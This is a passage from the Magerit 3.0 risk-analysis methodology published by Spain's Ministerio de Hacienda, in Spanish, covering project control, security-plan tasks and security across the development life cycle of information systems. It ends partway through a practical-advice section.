La tarea adapta los cuestionarios a utilizar en la recogida de información en el proceso P1 en función de los objetivos del proyecto, del dominio y de los temas a profundizar con los usuarios. Los cuestionarios se adaptan con el objetivo de identificar correctamente los elementos de trabajo: activos, amenazas, vulnerabilidades, impactos, salvaguardas existentes, restricciones generales, etc. en previsión de las necesidades de las actividades A2.1 (caracterización de los activos), A2.2 (caracterización de las amenazas) y A2.3 (caracterización de las salvaguardas). La necesidad de una adaptación siempre existe (debido al amplísimo espectro de los problemas de seguridad que puede y debe tratar Magerit). Pero el grado mayor o menor de adaptación depende además de las condiciones en que se realice la explotación de dichos cuestionarios. No habrá la misma profundidad de adaptación para entrevistas guiadas por el especialista en seguridad, que para cuestionarios auto administrados por el responsable del dominio o por los usuarios de sus sistemas de información.

5.3. PAR.2 – Elaboración del análisis de riesgos Se siguen los pasos del método descrito en el capítulo X anterior. La mayor parte de las tareas requerirán dos o tres entrevistas con los interlocutores apropiados: © Ministerio de Hacienda y Administraciones Públicas página 70 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

— una primera entrevista para exponer las necesidades y recabar los datos — una segunda entrevista para validar que los datos son completos y se han entendido correctamente — según las circunstancias puede ser necesaria alguna entrevista adicional si la validación levanta muchas inexactitudes o dudas El todas estas tareas debe procurarse manejar documentación escrita sometida a un proceso formal de gestión; es decir, aprobada y con unos procedimientos de revisión continua. La información de carácter verbal o informal debe limitarse a facilitar la comprensión, no a transmitir elementos sustanciales que no están documentados en parte alguna.

5.4. PAR.3 – Comunicación de resultados La salida de la fase de análisis es la entrada de la fase de tratamiento. Para la tomar decisiones de tratamiento es necesario conocer tanto los indicadores residuales como los indicadores potenciales de impacto y riesgo. Y para cada escenario de riesgo es necesario disponer de información suficiente para poder entender en qué consiste el riesgo, así como su dinámica y los razonamientos o la base de las estimaciones empleadas para derivar resultados. No basta conocer el valor final del indicador, sino que hay que poder analizar el por qué de ese valor. Por otra parte, las decisiones de tratamiento pueden requerir la realización de modificaciones del análisis de riesgo. Frecuentemente es necesario analizar situaciones hipotéticas (¿qué ocurriría si …?) para poder optar por una decisión u otra. Es por ello que es fundamental el soporte de herramientas que automaticen el cálculo. Para el informe ejecutivo final basta destacar gráficamente los escenarios de mayor impacto, de mayor nivel de riesgo y combinaciones peligrosas de ambos indicadores (ver los cuadrantes o zonas más arriba).

5.5. Control del proyecto 5.5.1. Hitos de control Hito de control H1.1: La Dirección procederá a la aprobación o no de la realización del proyecto de análisis de riesgos, basándose en el estudio de oportunidad realizado por el promotor. Hito de control H1.2: El comité de seguimiento del proyecto validará el informe de "Planificación del Proyecto de Análisis de Riesgos" que contendrá una síntesis de los productos obtenidos en las actividades realizadas en el proceso P1.

5.5.2. Documentación resultante Documentación intermedia •

Resultados de las entrevistas.

•

Documentación de otras fuentes: estadísticas, observaciones de expertos y observaciones de los analistas.

•

Documentación auxiliar: planos, organigramas, requisitos, especificaciones, análisis funcionales, cuadernos de carga, manuales de usuario, manuales de explotación, diagramas de flujo de información y de procesos, modelos de datos, etc.

•

Análisis de los resultados, con la detección de las áreas críticas claves.

•

Información existente utilizable por el proyecto (por ejemplo inventario de activos)

•

Resultados de posibles aplicaciones de métodos de análisis y gestión de riesgos realizadas anteriormente (por ejemplo catalogación, agrupación y valoración de activos, amenazas, vulnerabilidades, impactos, riesgo, mecanismos de salvaguarda, etc.).

© Ministerio de Hacienda y Administraciones Públicas

página 71 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

Documentación final •

Modelo de valor: identificación de activos junto con sus dependencias y valoración propia y acumulada

•

Mapa de amenazas junto con sus consecuencias y probabilidad de ocurrencia.

•

Documento de aplicabilidad de las salvaguardas.

•

Informe de valoración de la efectividad de las salvaguardas presentes.

•

Informe de insuficiencias o debilidades del sistema de salvaguardas.

•

Indicadores de impacto y riesgo, potenciales y residuales.

© Ministerio de Hacienda y Administraciones Públicas

página 72 (de 127)

Magerit 3.0

Plan de seguridad

6. Plan de seguridad Esta sección trata de cómo llevar a cabo planes de seguridad, entendiendo por tales proyectos para materializar las decisiones adoptadas para el tratamiento de los riesgos. Estos planes reciben diferentes nombres en diferentes contextos y circunstancias: •

plan de mejora de la seguridad

•

plan director de seguridad

•

plan estratégico de seguridad

•

plan de adecuación (en concreto es el nombre que se usa en el ENS)

Se identifican 3 tareas: PS – Plan de Seguridad PS.1 – Identificación de proyectos de seguridad PS.2 – Plan de ejecución PS.3 – Ejecución

6.1. Tarea PS.1: Identificación de proyectos de seguridad Se traducen las decisiones de tratamiento de los riesgos en acciones concretas. PS: Plan de seguridad PS.1: Identificación de proyectos de seguridad Objetivos •

Elaborar un conjunto armónico de programas de seguridad

Productos de entrada •

Resultados de las actividades de análisis y tratamiento de riesgos

•

Conocimientos de técnicas y productos de seguridad

•

Catálogos de productos y servicios de seguridad

Productos de salida •

Relación de programas de seguridad

Técnicas, prácticas y pautas •

Planificación de proyectos

Participantes •

El equipo de proyecto

•

Especialistas en seguridad

•

Especialistas en áreas específicas de seguridad

En última instancia se trata de implantar o mejorar la implantación de una serie de salvaguardas que lleven impacto y riesgo a los niveles residuales determinados por la Dirección. Este tratamiento de las salvaguardas se materializa en una serie de tareas a llevar a cabo. Un programa de seguridad es una agrupación de tareas. La agrupación se realiza por conveniencia, bien porque se trata de tareas que en singular carecerían de eficacia, bien porque se trata de © Ministerio de Hacienda y Administraciones Públicas

página 73 (de 127)

Magerit 3.0

Plan de seguridad

tareas con un objetivo común, bien porque se trata de tareas que competen a una única unidad de acción. Cada programa de seguridad debe detallar: •

Su objetivo genérico.

•

Las salvaguardas concretas a implantar o mejorar, detallando sus objetivos de calidad, eficacia y eficiencia

•

La relación de escenarios de impacto y/o riesgo que afronta: activos afectados, tipos de activos, amenazas afrontadas, valoración de activos y amenazas y niveles de impacto y riesgo

•

La unidad responsable de su ejecución.

•

Una estimación de costes, tanto económicos como de esfuerzo de realización, teniendo en cuenta:

•

•

costes de adquisición (de productos), o de contratación (de servicios), o de desarrollo (de soluciones llave en mano), pudiendo ser necesario evaluar diferentes alternativas

•

costes de implantación inicial y mantenimiento en el tiempo

•

costes de formación, tanto de los operadores como de los usuarios, según convenga al caso

•

costes de explotación

•

impacto en la productividad de la Organización

Una relación de subtareas a afrontar, teniendo en cuenta •

cambios en la normativa y desarrollo de procedimientos

•

solución técnica: programas, equipos, comunicaciones e instalaciones,

•

plan de despliegue

•

plan de formación

•

Una estimación del tiempo de ejecución desde su arranque hasta su puesta en operación.

•

Una estimación del estado de riesgo (impacto y riesgo residual a su compleción).

•

Un sistema de indicadores de eficacia y eficiencia que permitan conocer en cada momento la calidad del desempeño de la función de seguridad que se desea y su evolución temporal.

Las estimaciones anteriores pueden ser muy precisas en los programas sencillos; pero pueden ser simplemente orientativas en los programas complejos que conlleven la realización de un proyecto específico de seguridad. En este último caso, cada proyecto desarrollará los detalles últimos por medio de una serie de tareas propias de cada proyecto que, en líneas generales responderán a los siguientes puntos: •

Estudio de la oferta del mercado: productos y servicios.

•

Coste de un desarrollo específico, propio o subcontratado.

•

Si se estima adecuado un desarrollo específico hay que determinar: •

la especificación funcional y no-funcional del desarrollo

•

el método de desarrollo que garantice la seguridad del nuevo componente

•

los mecanismos de medida (controles) que debe llevar empotrados

•

los criterios de aceptación

•

el plan de mantenimiento: incidencias y evolución

© Ministerio de Hacienda y Administraciones Públicas

página 74 (de 127)

Magerit 3.0

Plan de seguridad

6.2. Tarea PS.2: Planificación de los proyectos de seguridad PS: Plan de seguridad PS.2: Plan de ejecución Objetivos •

Ordenar temporalmente los programas de seguridad

Productos de entrada •

Resultados de las actividades de análisis y tratamiento de riesgos

•

Resultados de la tarea PS.1 Programas de seguridad

Productos de salida •

Cronograma de ejecución del plan

•

Plan de Seguridad

Técnicas, prácticas y pautas •

Análisis de riesgos (ver “Método de Análisis de Riesgos”)

•

Planificación de proyectos

Participantes •

Departamento de desarrollo

•

Departamento de compras

Hay que ordenar en el tiempo los proyectos de seguridad teniendo en cuenta los siguientes factores: •

la criticidad, gravedad o conveniencia de los impactos y/o riesgos que se afrontan, teniendo máxima prioridad los programas que afronten situaciones críticas

•

el coste del programa

•

la disponibilidad del personal propio para responsabilizarse de la dirección (y, en su caso, ejecución) de las tareas programadas

•

otros factores como puede ser la elaboración del presupuesto anual de la Organización, las relaciones con otras organizaciones, la evolución del marco legal, reglamentario o contractual, etc.

Típicamente un plan de seguridad se planifica en tres niveles de detalle: Plan director (uno). A menudo denominado “plan de actuación”, trabaja sobre un periodo largo (típicamente entre 3 y 5 años), estableciendo las directrices de actuación. Plan anual (una serie de planes anuales). Trabaja sobre un periodo corto (típicamente entre 1 y 2 años), estableciendo la planificación de los programas de seguridad. Plan de proyecto (un conjunto de proyectos con su planificación). Trabaja en el corto plazo (típicamente menos de 1 año), estableciendo el plan detallado de ejecución de cada programa de seguridad. Se debe desarrollar un (1) plan director único, que es el que da perspectiva y unidad de objetivos a las actuaciones puntuales. Este plan director permite ir desarrollando planes anuales que, dentro del marco estratégico, van estructurando la asignación de recursos para la ejecución de las tareas, en particular partidas presupuestarias. Y, por último, habrá una serie de proyectos que materializan los programas de seguridad. © Ministerio de Hacienda y Administraciones Públicas

página 75 (de 127)

Magerit 3.0

Plan de seguridad

6.3. Tarea PS.3: Ejecución del plan PS: Plan de seguridad PS.3: Ejecución Objetivos •

Alcanzar los objetivos previstos en el plan de seguridad para cada proyecto planificado

Productos de entrada •

Resultados de las actividades PS.1 (proyectos de seguridad) y PS.2 (planificación)

•

Proyecto de seguridad que nos ocupa

Productos de salida •

Salvaguardas implantadas

•

Normas de uso y procedimientos de operación

•

Sistema de indicadores de eficacia y eficiencia del desempeño de los objetivos de seguridad perseguidos

•

Modelo de valor actualizado

•

Mapa de riesgos actualizado

•

Estado de riesgo actualizado (impacto y riesgo residuales).

Técnicas, prácticas y pautas •

Análisis de riesgos (ver “Método de Análisis de Riesgos”)

•

Planificación de proyectos

Participantes •

El equipo de proyecto: evolución del análisis de riesgos

•

Personal especializado en la salvaguarda en cuestión

6.4. Lista de control de los planes de seguridad √

actividad

tarea

Se han definido los proyectos constituyentes

PS.1

Se han definido las interdependencias entre proyectos (necesidades de que uno avance para que progrese otro)

PS.1

Se han asignado recursos — disponibles para los proyectos en curso — previstos para los proyectos que seguirán en el futuro

PS.2

Se han definido roles y responsabilidades

PS.1

Se ha establecido un calendario de ejecución

PS.2

Se han definido indicadores de progreso

PS.3

Se han previsto necesidades de concienciación y formación

PS.1

Se han previsto necesidades de documentación: — normativa de seguridad y — procedimientos operativos de seguridad

PS.1

© Ministerio de Hacienda y Administraciones Públicas

página 76 (de 127)

Magerit 3.0

Desarrollo de sistemas de información

7. Desarrollo de sistemas de información Las aplicaciones (software) constituyen un tipo de activos frecuente y nuclear para el tratamiento de la información en general y para la prestación de servicios basados en aquella información. La presencia de aplicaciones en un sistema de información es siempre una fuente de riesgo en el sentido de que constituyen un punto donde se pueden materializar amenazas. A veces, además, las aplicaciones son parte de la solución en el sentido de que constituyen una salvaguarda frente a riesgos potenciales. En cualquier caso es necesario que el riesgo derivado de la presencia de aplicaciones esté bajo control. El análisis de los riesgos constituye una pieza fundamental en el diseño y desarrollo de sistemas de información seguros. Es posible, e imperativo, incorporar durante la fase de desarrollo las funciones y mecanismos que refuerzan la seguridad del nuevo sistema y del propio proceso de desarrollo, asegurando su consistencia y seguridad, completando el plan de seguridad vigente en la Organización. Es un hecho reconocido que tomar en consideración la seguridad del sistema antes y durante su desarrollo es más efectivo y económico que tomarla en consideración a posteriori. La seguridad debe estar embebida en el sistema desde su primera concepción. El Esquema Nacional de Seguridad recoge el riesgo como pieza fundamental de la seguridad de los sistemas en varios de sus principios básicos: Artículo 5. La seguridad como un proceso integral. 1. La seguridad se entenderá como un proceso integral constituido por todos los elementos técnicos, humanos, materiales y organizativos, relacionados con el sistema. La aplicación del Esquema Nacional de Seguridad estará presidida por este principio, que excluye cualquier actuación puntual o tratamiento coyuntural. 2. Se prestará la máxima atención a la concienciación de las personas que intervienen en el proceso y a sus responsables jerárquicos, para que, ni la ignorancia, ni la falta de organización y coordinación, ni instrucciones inadecuadas, sean fuentes de riesgo para la seguridad. Artículo 6. Gestión de la seguridad basada en los riesgos. 1. El análisis y gestión de riesgos será parte esencial del proceso de seguridad y deberá mantenerse permanentemente actualizado. 2. La gestión de riesgos permitirá el mantenimiento de un entorno controlado, minimizando los riesgos hasta niveles aceptables. La reducción de estos niveles se realizará mediante el despliegue de medidas de seguridad, que establecerá un equilibrio entre la naturaleza de los datos y los tratamientos, los riesgos a los que estén expuestos y las medidas de seguridad. Artículo 9. Reevaluación periódica. Las medidas de seguridad se reevaluarán y actualizarán periódicamente, para adecuar su eficacia a la constante evolución de los riesgos y sistemas de protección, llegando incluso a un replanteamiento de la seguridad, si fuese necesario. Durante el desarrollo de un sistema de información, se pueden identificar dos tipos de actividades diferenciadas: •

SSI: actividades relacionadas con la propia seguridad del sistema de información que se está desarrollando.

•

SPD: actividades que velan por la seguridad del proceso de desarrollo del sistema de información.

7.1. Inicialización de los procesos Hay varias razones que pueden llevar a plantear el desarrollo de un nuevo sistema de información o la modificación de uno ya existente: © Ministerio de Hacienda y Administraciones Públicas

página 77 (de 127)

Magerit 3.0

Desarrollo de sistemas de información

Nuevos servicios y/o datos. •

Requiere el desarrollo de un nuevo sistema o la modificación de un sistema ya operativo. Puede implicar la desaparición de partes actualmente operativas.

•

La iniciativa la lleva el responsable de desarrollo, actuando el responsable de seguridad como subsidiario.

Evolución tecnológica. Las tecnologías TIC se encuentran en evolución continua, pudiendo presentarse cambios en las técnicas de desarrollo de sistemas, en los lenguajes o las plataformas de desarrollo, en las plataformas de explotación, en los servicios de explotación, en los servicios de comunicaciones, etc. •

Requiere el desarrollo de un nuevo sistema o la modificación de un sistema ya operativo. Puede implicar la desaparición de partes actualmente operativas.

•

La iniciativa la lleva el responsable de desarrollo, actuando el responsable de seguridad como subsidiario.

Modificación de la calificación de seguridad de servicios o datos. •

Típicamente requiere la modificación de un sistema ya operativo. Raramente implica el desarrollo de un nuevo sistema o la desaparición de partes actualmente operativas.

•

La iniciativa la lleva el responsable de seguridad, actuando el responsable de sistemas como subsidiario.

Consideración de nuevas amenazas. La evolución de las tecnologías y los servicios de comunicaciones pueden habilitar nuevas amenazas o convertir amenazas que eran despreciables en el pasado en amenazas relevantes en el futuro. •

Típicamente requiere la modificación del sistema, bien en sus componentes o, más frecuentemente, en sus condiciones de explotación. Raramente implica el desarrollo de un nuevo sistema o la desaparición de partes actualmente operativas.

•

La iniciativa la lleva el responsable de seguridad, actuando el responsable de sistemas como subsidiario.

Modificación de los cri terios de calificación de riesgos. Puede venir inducido por criterios de calidad operativa, por novedades en la legislación aplicable, en la reglamentación sectorial o por acuerdos o contratos con terceros. •

Típicamente requiere la modificación del sistema. Raramente implica el desarrollo de un nuevo sistema o la desaparición de partes actualmente operativas.

•

La iniciativa la lleva el responsable de seguridad, actuando el responsable de sistemas como subsidiario.

7.2. SSI – Seguridad del sistema de información Toda la existencia de un sistema de información puede verse como etapas de concreción creciente, desde una perspectiva muy global durante los procesos de planificación hasta una visión en detalle durante el desarrollo y explotación. No obstante, este ciclo de vida no es lineal, sino que frecuentemente habrá que tantear opciones alternativas y revisar decisiones tomadas. El análisis de riesgos debe basar sus estimaciones de impacto y riesgo en la realidad de los sistemas, concretada en sus activos. En consecuencia, se puede entender el modelo de valor como evolutivo, recogiendo en cada momento el nivel de detalle de que se dispone. Magerit, como metodología, permite un tratamiento sistemático y homogéneo que es esencial para poder comparar opciones alternativas y para gestionar la evolución de los sistemas. Como principio básico debe considerarse que el análisis de los riesgos debe seguir fielmente la realidad del sistema de información y su contexto, facilitando el mejor análisis de riesgos posible para poder tomar decisiones de tratamiento adecuadas a cada momento.

© Ministerio de Hacienda y Administraciones Públicas

página 78 (de 127)

Magerit 3.0

Desarrollo de sistemas de información

7.2.1. Ciclo de vida de las aplicaciones Típicamente, una aplicación sigue un ciclo de vida a través de varias fases:

especificación

adquisición (estándar)

desarrollo subcontratado

desarrollo propio

aceptación

despliegue

operación

mantenimiento

Ilustración 16. Ciclo de vida de las aplicaciones

Especificación. En esta fase se determinan los requisitos que debe satisfacer la aplicación y se elabora un plan para las siguientes fases. Adquisición o desarrollo. Para traducir una especificación en una realidad, se puede adquirir un producto, o se puede desarrollar, bien en casa, bien por subcontratación externa. Aceptación. Tanto si es una aplicación nueva como si es modificación de una aplicación anterior, nunca una aplicación debe entrar en operación sin haber sido formalmente aceptada. Despliegue. Consistente en instalar el código en el sistema y configurarlo para que entre en operación. Operación. La aplicación se usa por parte de los usuarios, siendo atendidos los incidentes por parte de usuarios y/o los operadores. Mantenimiento. Bien porque aparecen nuevos requisitos, bien porque se ha detectado un fallo, la aplicación puede requerir un mantenimiento que obligue a regresar a cualquiera de las etapas anteriores, en última instancia a la especificación básica.

MÉTRICA versión 3 La metodología MÉTRICA Versión 3 ofrece a las Organizaciones un instrumento para la sistematización de las actividades que dan soporte al ciclo de vida del software. MÉTRICA versión 3 identifica los siguientes elementos:

© Ministerio de Hacienda y Administraciones Públicas

página 79 (de 127)

Magerit 3.0

Desarrollo de sistemas de información

EVS

planificación PSI

gestión de configuración

desarrollo

aseguramiento de la calidad

ASI

DSI

CSI

IAS

gestión de proyectos mantenimiento MSI

seguridad

Ilustración 17. Métrica 3 - Actividades

Métrica 3 especificación

PSI – Planificación del sistema de información EVS – Estudio de viabilidad del sistema ASI – Análisis del sistema de información

adquisición o desarrollo DSI – Diseño del sistema de información. CSI – Construcción del sistema de información aceptación

IAS – Implantación y aceptación del sistema

despliegue operación mantenimiento

MSI – Mantenimiento del sistema de información

Tabla 7. Ciclo de vida y actividades en Métrica 3

7.2.2. Contexto Se debe determinar el contexto general: — política de seguridad y normas — requisitos de cumplimiento normativo — obligaciones contractuales — roles y funciones — criterios de valoración de información y servicios — criterios de valoración de riesgos — criterios de aceptación de riesgos En particular, hay que establecer unos procedimientos operativos que instrumenten la comunicación entre las tareas de desarrollo y las tareas de análisis y tratamiento de riesgos. •

La Dirección aporta los servicios necesarios y la calidad de la seguridad deseada.

•

El equipo de desarrollo aporta los elementos técnicos que materializan la aplicación.

•

El equipo de análisis de riesgos aporta un juicio crítico sobre la seguridad del sistema.

•

La misma Dirección aprueba el riesgo residual.

7.2.3. Fase de especificación: adquisición de datos Se debe recopilar información sobre — la información esencial y sus requisitos de seguridad © Ministerio de Hacienda y Administraciones Públicas

página 80 (de 127)

Magerit 3.0

Desarrollo de sistemas de información

— los servicios esenciales y sus requisitos de seguridad — el contexto en el que se va a desarrollar y explotar el sistema En particular se debe establecer un perfil de amenazas, sean naturales, del entorno o de origen humano, sean accidentales o deliberadas. La caracterización del potencial del atacante debe formar parte de las especificaciones del diseño y su modificación más adelante en el ciclo de vida del sistema será objeto de un nuevo análisis y decisión de tratamiento.

7.2.4. Fase de diseño: estudio de opciones La toma de decisiones de tratamiento de los riesgos puede recomendar salvaguardas evaluando su efecto en los indicadores de impacto y riesgo. Las decisiones que se adopten dependerán de los criterios establecidos en la política de seguridad de la Organización y de otras consideraciones específicas de cada caso. Si bien la política de seguridad establece un marco de referencia que no puede violentarse, es habitual que no prevea todos los detalles técnicos y coyunturales del servicio para tomar decisiones precisas. Debido a la interrelación entre los elementos que constituyen un sistema, no es suficiente proteger un cierto tipo de activos para proteger el conjunto. Por ello, la toma de decisiones de tratamiento es local sobre una parte del sistema, pero siempre con un análisis global sobre la seguridad del conjunto.

Análisis y tratamiento de los riesgos La seguridad requerida para la información que se maneja y los servicios que se prestan quedó fijada en la fase de especificación y no se puede modificar ahora. El equipo de desarrollo y el equipo de análisis de riesgos trabajan de forma iterativa hasta encontrar una solución que satisfaga a ambas partes. Normalmente la iniciativa la toma el equipo de desarrollo proponiendo una solución técnica que responda a los requisitos funcionales del sistema. El equipo de seguridad analiza la propuesta informando de los riesgos asociados y, en su caso, proponiendo salvaguardas que pudieran dejar el riesgo en niveles aceptables. En la medida en que las salvaguardas propuestas afecten al diseño, el equipo rehará su propuesta para un nuevo análisis. La especificación de salvaguardas debe incorporar tanto los mecanismos de actuación como los mecanismos de configuración, monitorización y control de su eficacia y eficiencia. Es frecuente que aparezcan algunos desarrollos específicamente destinados a configurar el conjunto de salvaguardas y a monitorizar su operación. Es posible que el equipo de desarrollo pueda presentar dos o más opciones, en cuyo todas ellas serán evaluadas en lo que respecta a riesgo y salvaguardas requeridas. El informe de riesgos será un elemento más de decisión entre las diferentes opciones. Cuando ambos equipos lleguen a una situación estable, con un diseño técnicamente viable, con un riesgo aceptable y unos requisitos aceptables de recursos, la propuesta se eleva para su aprobación. Como resultado de esta fase, dispondremos de especificaciones técnicas de desarrollo acompañadas de un análisis de los riesgos y sus decisiones de tratamiento.

7.2.5. Soporte al desarrollo: puntos críticos Durante el desarrollo hay que incorporar las salvaguardas aprobadas en la fase de diseño, así como controles que permitan monitorizar su eficacia. Estos requisitos de monitorización se suelen concretar en los siguientes aspectos: — registros de actividad — mecanismos para procesar estos registros e informar de la efectividad del sistema de protección — disparo de alarmas cuando los hecho evidencian un problema de seguridad © Ministerio de Hacienda y Administraciones Públicas

página 81 (de 127)

Magerit 3.0

Desarrollo de sistemas de información

El despliegue de estos elementos viene modulado por el nivel de riesgo potencial que se soporta en cada componente del sistema de información. Durante el desarrollo conviene gestionar los riesgos según se indica en la sección relativa a “Seguridad del Proceso de Desarrollo” más adelante.

7.2.6. Aceptación y puesta en marcha: puntos críticos Cuando el sistema se prueba antes de ponerlo en funcionamiento, debe revisarse que todos los registros de actividad funcionan correctamente, así como los sistemas de procesamiento y de alarma incorporados al sistema. También debe comprobarse que el sistema responde al diseño previsto, concretamente que las salvaguardas están desplegadas, que su despliegue es efectivo y que no existen formas de circunvalarlas u obviarlas: es decir que el sistema no permite puertas traseras fuera de control. Sistema(s) de identificación y autenticación: — todo acceso al sistema requiere que el usuario se identifique y se autentique según lo previsto, bloqueando cualquier otra forma de acceso — los mecanismos de identificación y autenticación están protegidos para evitar que un atacante pueda acceder a información o mecanismos que pongan en peligro su efectividad Sistema(s) de control de acceso: — todo acceso a la información y a los servicios verifica previamente que el usuario tiene las autorizaciones pertinentes Servicios externalizados: cuando parte de la operación del sistema está delegada en un tercero: — hay que revisar los contratos de prestación del servicio — hay que revisar la completitud de los procedimientos de reporte y gestión de incidencias Si el sistema no refleja el modelo cuyos riesgos han sido analizados, será rechazado sin pasar a producción. Hay que verificar que la documentación de seguridad es clara y precisa. Esto incluye normativa, procedimientos operacionales, material de concienciación y de formación. Sin poder ser exhaustivos, las siguientes líneas muestran pruebas de aceptación que conviene realizar: — datos de prueba •

si no son reales, deben ser realistas

•

si no se puede evitar que sean reales, hay que controlar copias y acceso

— pruebas funcionales (de los servicios de seguridad) •

simulación de ataques: verificando que se detectan y reportan

•

pruebas en carga: verificando que no se obvian las medidas de protección

•

intrusión controlada (hacking ético)

— inspección de servicios / inspección de código •

fugas de información: canales encubiertos, a través de los registros, etc.

•

puertas traseras de acceso

•

escalado de privilegios

•

problemas de desbordamiento de registros (buffer overflow)

© Ministerio de Hacienda y Administraciones Públicas

página 82 (de 127)

Magerit 3.0

Desarrollo de sistemas de información

7.2.7. Operación: análisis y gestión dinámicos Durante la vida operativa del sistema podemos encontrarnos con cambios en el escenario que invalidan el análisis de riesgos realizado anteriormente. En entornos formales, el sistema requiere una re-acreditación para seguir operando bajo las nuevas condiciones.

Nuevas amenazas Bien porque se descubren nuevas formas de ataque, bien porque la valoración de la capacidad del atacante se modifica. En estos casos hay que rehacer el análisis y decidir cómo tratar los nuevos resultados.

Vulnerabilidades sobrevenidas Por ejemplo, defectos reportados por los fabricantes. En estos casos hay que analizar la nueva situación de riesgo y determinar cual es su tratamiento adecuado para seguir operando. Lo ideal es parchear el sistema; pero bien porque el parche no existe o porque su aplicación requiere unos recursos de los que no disponemos, podemos encontrarnos en una situación nueva ante la cual hay que decidir cómo tratar el riesgo.

Incidentes de seguridad Los incidentes de seguridad pueden indicarnos un fallo en nuestra identificación de amenazas o en su valoración, obligando a revisar el análisis. Un incidente de seguridad también puede suponer un cambio en el sistema. Por ejemplo, una intrusión significa que no podemos contar con la defensa perimetral: tenemos un nuevo sistema, con el atacante en un nuevo lugar y con unas opciones nuevas.

Cambios en la utilización del sistema A veces un sistema ya operacional no se utiliza como estaba previsto: — nueva información con diferentes requisitos de seguridad — nuevos servicios con diferentes requisitos de seguridad — nuevos procedimientos operativos En términos del análisis de riesgos, esto significa una diferente valoración de los activos o de las salvaguardas desplegadas. Es posible que la alteración del sistema en alguna de las facetas contempladas en los puntos anteriores lleve a unos niveles de riesgo que no sean aceptables, obligando a un ciclo de mantenimiento que rediseñe el sistema o parte de él.

7.2.8. Ciclos de mantenimiento: análisis marginal Cuando se propone una modificación del sistema, los nuevos elementos deben llevar a un nuevo análisis de riesgos, regresando a los ciclos iterativos de propuestas y soluciones de la fase de diseño.

7.2.9 Terminación Cuando un sistema de información se retira del servicio, hay que realizar una serie de tareas de seguridad proporcionadas al riesgo al que están sometidos los componentes del sistema a retirar. En concreto: — proteger el valor de la información manejada: retención y control de acceso — proteger las claves criptográficas de cifra y de autenticación: retención y control de acceso Todo lo que no sea necesario retener se destruirá de forma segura: — datos operacionales © Ministerio de Hacienda y Administraciones Públicas

página 83 (de 127)

Magerit 3.0

Desarrollo de sistemas de información

— copias de seguridad — configuración de los sistemas

7.2.10 Documentación de seguridad La documentación de seguridad evoluciona con el ciclo de vida del sistema: fase

documentación de seguridad

contexto

se revisa la política de seguridad se revisa la normativa de seguridad

especificación

se amplia la normativa de seguridad

diseño

se prepara el índice de procedimientos operacionales de seguridad

desarrollo

se elaboran los procedimientos operacionales de seguridad

aceptación y se validan los procedimientos operacionales de seguridad puesta en operación operación

se actualizan los procedimientos operacionales de seguridad

mantenimiento

se actualizan los procedimientos operacionales de seguridad

Tabla 8. Documentación de seguridad a lo largo del ciclo de vida de las aplicaciones

7.3. SPD – Seguridad del proceso de desarrollo Lo que se comenta en esta sección afecta a todas y cada uno de los procesos y subprocesos de Métrica: PSI, EVS, ASI, DSI, CSI, IAS y MSI. La interfaz de seguridad de Métrica identifica hasta 4 tareas que se repiten en cada proceso. Aquí se tratan de forma compacta:

Activos a considerar En cada proceso se requiere un análisis de riesgos específico que contemple: •

•

los datos que se manejan: •

especificaciones y documentación de los sistemas

•

código fuente

•

manuales del operador y del usuario

•

datos de prueba

el entorno software de desarrollo: •

herramientas de tratamiento de la documentación: generación, publicación, control de documentación, etc.

•

herramientas de tratamiento del código: generación, compilación, control de versiones, etc.

•

el entorno hardware de desarrollo: equipos centrales, puestos de trabajo, equipos de archivo, etc.

•

el entorno de comunicaciones de desarrollo

•

las instalaciones

•

el personal involucrado: desarrolladores, personal de mantenimiento y usuarios (de pruebas)

Actividades Se siguen los siguientes pasos © Ministerio de Hacienda y Administraciones Públicas

página 84 (de 127)

Magerit 3.0

Desarrollo de sistemas de información

1. el equipo de desarrollo expone a través del jefe de proyecto los elementos involucrados 2. el equipo de análisis de riesgos recibe a través del director de seguridad la información de los activos involucrados 3. el equipo de análisis de riesgos realiza el análisis 4. el equipo de análisis de riesgos expone a través de su director el estado de riesgo, proponiendo una serie de medidas a tomar 5. el equipo de desarrollo elabora un informe del coste que supondrían las medidas recomendadas, incluyendo costes de desarrollo y desviaciones en los plazos de entrega 6. la dirección califica el riesgo y decide las salvaguardas a implantar oyendo el informe conjunto de análisis de riesgos y coste de las soluciones propuestas 7. el equipo de análisis de riesgos elabora los informes correspondientes a las soluciones adoptadas 8. el equipo de seguridad elabora la normativa de seguridad pertinente 9. la dirección aprueba el plan para ejecutar el proceso con la seguridad requerida

Resultados del análisis y gestión de riesgos En todos los casos •

salvaguardas recomendadas

•

normas y procedimientos de tratamiento de la información

Otras consideraciones Aunque cada proceso requiere su análisis de riesgos específico, es cierto que se trata de modelos tremendamente similares por lo que el mayor esfuerzo lo llevará el primero que se haga, siendo los demás adaptaciones de aquel primero. En los primeros procesos, notablemente en PSI, pueden aparecer contribuciones de alto nivel que afecten a la normativa de seguridad de la Organización e incluso a la propia política de seguridad corporativa. Entre las normas y procedimientos generados es de destacar la necesidad de una normativa de clasificación de la documentación y procedimientos para su tratamiento. En todos los procesos hay que prestar una especial atención al personal involucrado. Como reglas básicas conviene: •

identificar los roles y las personas

•

determinar los requisitos de seguridad de cada puesto e incorporarlos a los criterios de selección y condiciones de contratación

•

limitar el acceso a la información: sólo por necesidad

•

segregar tareas; en particular evitar la concentración en una sola persona de aquellas aplicaciones o partes de una aplicación que soporten un alto riesgo

7.4. Referencias •

“Seguridad de las Tecnologías de la Información. La construcción de la confianza para una sociedad conectada”, E. Fernández-Medina y R. Moya (editores). AENOR, 2003.

•

Metodología de Planificación, Desarrollo y Mantenimiento de sistemas de información. Métrica v3. Consejo Superior de Informática y para el Impulso de la Administración Electrónica, 2000.

© Ministerio de Hacienda y Administraciones Públicas

página 85 (de 127)

Magerit 3.0

Consejos prácticos

8. Consejos prácticos Todo el planteamiento anterior puede quedar un poco abstracto y no permitir al analista progresar con solvencia a través de los pasos indicados si confundiera lo importante con lo esencial. Por ello se ha considerado conveniente incluir algunos comentarios que puedan servir de guía para avanzar. Se recomienda también la consulta del "Catálogo de Elementos" que recopila tipos de activos, dimensiones de valoración, guías de valoración, catálogos de amenazas y de salvaguardas.

8.1. Alcance y profundidad Magerit cubre un espectro muy amplio de intereses de sus usuarios. En el planteamiento de estas guías se ha seguido un criterio “de máximos”, reflejando todo tipo de activos, todo tipo de aspectos de seguridad; en definitiva, todo tipo de situaciones. En la práctica, el usuario puede encontrarse ante situaciones donde el análisis es más restringido. Siguen algunos casos prácticos frecuentes: •

